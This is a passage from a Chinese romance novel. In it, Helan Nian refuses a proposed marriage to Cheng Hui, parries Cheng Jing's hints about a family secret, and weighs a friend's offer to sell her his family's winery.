贺兰念听着,神色异常平静。
魏梁看着贺兰念平静到近乎冷漠的眼神,心里不由打了个鼓,一时猜不透贺兰念在想什么,但他还是硬着头皮说了下去。
“这次把程回喊回国,程总是想着修复两人关系,顺便让程回接手集团。”魏梁又顿了一下,“但是,程回一直想离开,抛下这里的一切,去国外生活。”
魏梁的视线紧紧锁在贺兰念脸上,企图从贺兰念脸上看出任何异样的情绪。
贺兰念脸上只是有点失神,再无其他。
“他说想跟你结婚,不是开玩笑的。”魏梁失笑,“之前是程总搞错了这一点,程回一直都是说到做到的。”
“所以,如果最后结局你跟程回结婚是不可改变的——,”魏梁看似坦诚道,“你就当程总想讨好程回吧,如果你愿意,程总现在希望你跟程回结婚。”
听到魏梁的话,贺兰念的表情有瞬间的空白。
就在魏梁以为贺兰念心有触动时,他看见贺兰念蓦地......笑了。
她的脸秾丽,原本笑起来该是极艳丽的,但这个笑里只有冷淡,夹杂一丝嘲讽的玩味。
魏梁眼中情绪沉下来,似已预感到这次谈话的失败。
果然,他听见贺兰念笑着说:“你说话还挺有意思。”
魏梁绝不认为这是一句夸奖的话:“......”
贺兰念脸上情绪淡下来,似乎薄凉开口:“第一,你说程英纵想讨好程回,所以想让我跟程回结婚,抱歉这句话在我这里不成立。第二,我跟程回不会结婚,所以不存在什么必定会结婚的结局。”
几乎没有停顿的,贺兰念道:“因为,我不喜欢他。”
顿了下,贺兰念再次开口:“你也应该知道我母亲是怎么死的,——是殉情。”
“你觉得我上次跟程英纵说的那些话只是顺应他吗?不是的。”贺兰念扯了下嘴角,“那是因为我是真的讨厌爱情这个字眼!你说程回无法原谅程英纵......我至今也无法原谅殉情而抛下我的母亲!”
贺兰念吸了一口气,“退一万步讲,就算母亲的爱情观影响了我,我也认为爱情是至高无上的,是可以让人抛弃一切去追求的,——但我,不喜欢程回啊......你让我怎么为他抛弃一切?”
魏梁:“............”
至此贺兰念三言两语堵死他所有的话,魏梁甚至没有把两人结婚的好处说出来,已经哑口无言。
他深刻意识到贺兰念内心的强大和不可撼动,她仿佛坚不可摧,魏梁感到棘手。
*
魏梁离开后,贺兰念呆坐在椅子上。
直到夜幕降临,贺兰念对面的椅子又坐下一个人。
贺兰念抬头,看见程净的笑脸。
程净声音甜美,好似带着真心喊:“姐姐~”
贺兰念眼中还带着来不及抽离的悲凉,程净看到,瞳孔微微缩了下。
“我是来向姐姐告别的。”程净说,“我要回去了。”
贺兰念看着程净的脸,其实程净跟程回长得一点都不像,程净的脸柔美清秀,程回则立体冷冽,态度更是大相径庭,程净总是笑着,笑里藏刀,程回总是冷着脸,目空一切。
但他们又是相同的,那是一种疯感,程净隐藏在他的皮囊之下,程回在他眼眸深处。
喉间干涩不已,贺兰念张了张口,有些艰涩发出声音,问程净:“你母亲是个什么样的人?”
“......”程净神色凝了下,很快恢复不在意的神色,他兴致缺缺开口,“是个不怎么样的人。没钱没势,没脑子没自我......”
他看着贺兰念,薄凉的扯了下嘴角,“所以,最后也没了命~”
贺兰念:“......”
“......程回呢?”贺兰念问,“程回的母亲呢?”
“一样啊~”程净支着下巴,眯着眼笑了下,“没钱没势——,”他顿住,似略去一些话,片刻才道:“所以才会被程英纵拿捏。”
见贺兰念还想问什么,程净打了个响指止住这个话题,笑看着贺兰念道:“如果姐姐肯留我吃晚饭的话,我会告诉姐姐一些秘密哦~”
贺兰念没说话,羊明煦和惜儿从农场外回来,羊明煦下意识问:“秘密?什么秘密?”
惜儿没见过程净,她勾着头看程净,学着贺兰念给她念《红楼梦》里贾宝玉的语气,声音稚嫩道:“这位哥哥我还不曾见过。”
程净非常上道,几乎立马配合道:“哟,这个妹妹我曾见过的~”他温柔的看着惜儿,这一瞬间,他身上没有乱七八糟的伪装和扭曲,看着近乎纯真。
惜儿咯咯笑开,她抱住程净的一条胳膊,把脸靠上去蹭了蹭,“哥哥好,我叫惜儿。”
程净揉了揉她的脑袋,“你好哇惜儿,我叫程净。”
对于惜儿惯会的讨巧卖乖,贺兰念和羊明煦早就习以为常,两人默声走开。
贺兰念去厨房做饭。
羊明煦去喂牛马羊。
晚饭快结束时,惜儿早已在院子跑了,贺兰念和羊明煦也都放下了筷子,只有程净还慢悠悠的,时不时夹口菜。
“程回昨天回京了。”程净似无意说出。
听到程净说到程回,羊明煦下意识看向贺兰念。
贺兰念表情空白过后,状似释然松了下,又慢慢怔住。
程净又夹了块红烧肉,看向贺兰念,“我想告诉姐姐的秘密是——”
他嘴里嚼着红烧肉,不知想到什么,咀嚼的动作慢慢停下来,话就这样悬住。
程净的脸少见出现一抹深思和凝重,他盯着贺兰念,神情近乎是紧张又忐忑,是想探知又不
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敢探知的。
“姐姐能不能先回答我一个问题?”
“什么问题?”
“你,”程净嘴角向上提了下,又很快抿成一条线,“是不是喜欢程回?”
没什么犹豫,答案仿佛就在嘴边,贺兰念答:“不是。”
听到贺兰念否认,程净几乎骤然间松了一口气,嘴角终于提了上去。
而羊明煦则在听到贺兰念回答后,则蹙着眉看了她一眼,眼中闪过迷惑。
“那就好。”程净恢复如常,看似关心道,“那等我哥去了国外不回来,你也就不会难过了。”
“他不会再回来了。”程净道,“如果不是因为他|妈妈,他本来就不会回国的。”
贺兰念“嗯”了一声。
平静像刻在了贺兰念脸上,她神色平静问程净:“你还有秘密要说吗?”
“你知道我哥为什么——”
程净从贺兰念神色中察觉不寻常,他的心再次提起来,突然意识到他不能告诉贺兰念程回来西北收购葡萄园的真正原因!
如果现在的贺兰念在撒谎呢?如果她其实喜欢程回呢?如果她知道了真相心软了呢?如果最终她选择了程回......
程净扬着一抹笑脸,语气肯定:“没有了。”
“好。”贺兰念随即问,“饭吃好了吗?”
贺兰念的反应太平淡,完全超出程净的预料,他下意识点了点头。
贺兰念站起来,开始收拾碗筷,羊明煦愣了下后起来跟她一起收拾。
“时间不早了,我就不送你了。”贺兰念回头对程净说。
听到贺兰念赶客的话,程净神色僵了下,他随即起身,视线凝在贺兰念脸上。
“那就下次再见了。贺兰念。”程净微微一笑,他眼眸中似含着某种深意,第一次喊贺兰念的名字。
程净的称呼让贺兰念感到一丝别扭,她看着程净嬉闹着跟惜儿告别,忽略了这抹别扭。
如果有可能,她倒是不太希望再见程净,或者,任何程家的人。
*
厨房,羊明煦洗碗,余光瞄着收拾冰箱的贺兰念,他向来直来直去惯了不知道怎么迂回,索性直接问:“贺兰念我们是朋友吧?”
贺兰念愣了下,下意识回:“是啊。”她是真心拿羊明煦当朋友。
“那就行。”羊明煦神情立马放松了,他早就当贺兰念是朋友,甚至亲人。
贺兰念这个人,怎么说呢,就是挺想让人跟她做朋友的。她身上有种魔力,一种亲和又强大的魔力。
跟贺兰念确认过后,羊明煦便直接问了:“外面那个人怎么回事?来者不善?”
不然贺兰念怎么对他撒谎?
“不太确定。大概是来告诫我的吧。”贺兰念坦言她对程净这次过来的猜测。
“告诫你什么?”
贺兰念弯了弯唇,淡声道:“告诫我,程回终究是会离开的。”
“......心眼子怎么这么多?”羊明煦不忿道,“轮得到他来多嘴!”
“不过,程回到底为什么一定要收购葡萄园呢?”羊明煦想着刚才程净说的话,“听程净的意思好像是因为程回他妈?你知道具体原因吗?”
“......”贺兰念摇摇头,她想起程净要说没说的那个秘密......
不知道跟程回的妈妈有没有关系,贺兰念有点后悔,早知道听一下了。
“你以后有什么打算吗?”羊明煦问。
以后?贺兰念没有想过以后。
下午魏梁说程英纵想让她跟程回结婚......结婚后她家的葡萄园自然而然姓程,这会是程英纵的目的吗?但这样的目的实在太明显,贺兰念总觉得程英纵背后的目的不仅如此,她如履薄冰,怎么敢答应。
“不知道。走一步看一步吧。”贺兰念说。
“要不你也开酒庄吧。”羊明煦想着上次在贺兰念家喝的那瓶酒,“你把我家的酒庄买下来,价格给你便宜,钱也不用一次付清,不要利息。”
“......”
一石激起千层浪,贺兰念有些惊讶的看向羊明煦。
“你爸爸应该有教你酿酒吧?不过不会也没关系,我可以给你当酿酒师。”羊明煦激动说完,又有点羞赧道,“我现在技术可能没那么精湛,不过我会多学习。”
“......你已经很厉害了。”羊明煦这番话把贺兰念说不好意思了,跟他比起来,她才是毫无规划......
“酒庄......”贺兰念踌躇。
开酒庄,酿造世界顶级葡萄酒,一直是她父亲的理想......只是还没来得及实现。
但是她,真的有能力开酒庄吗?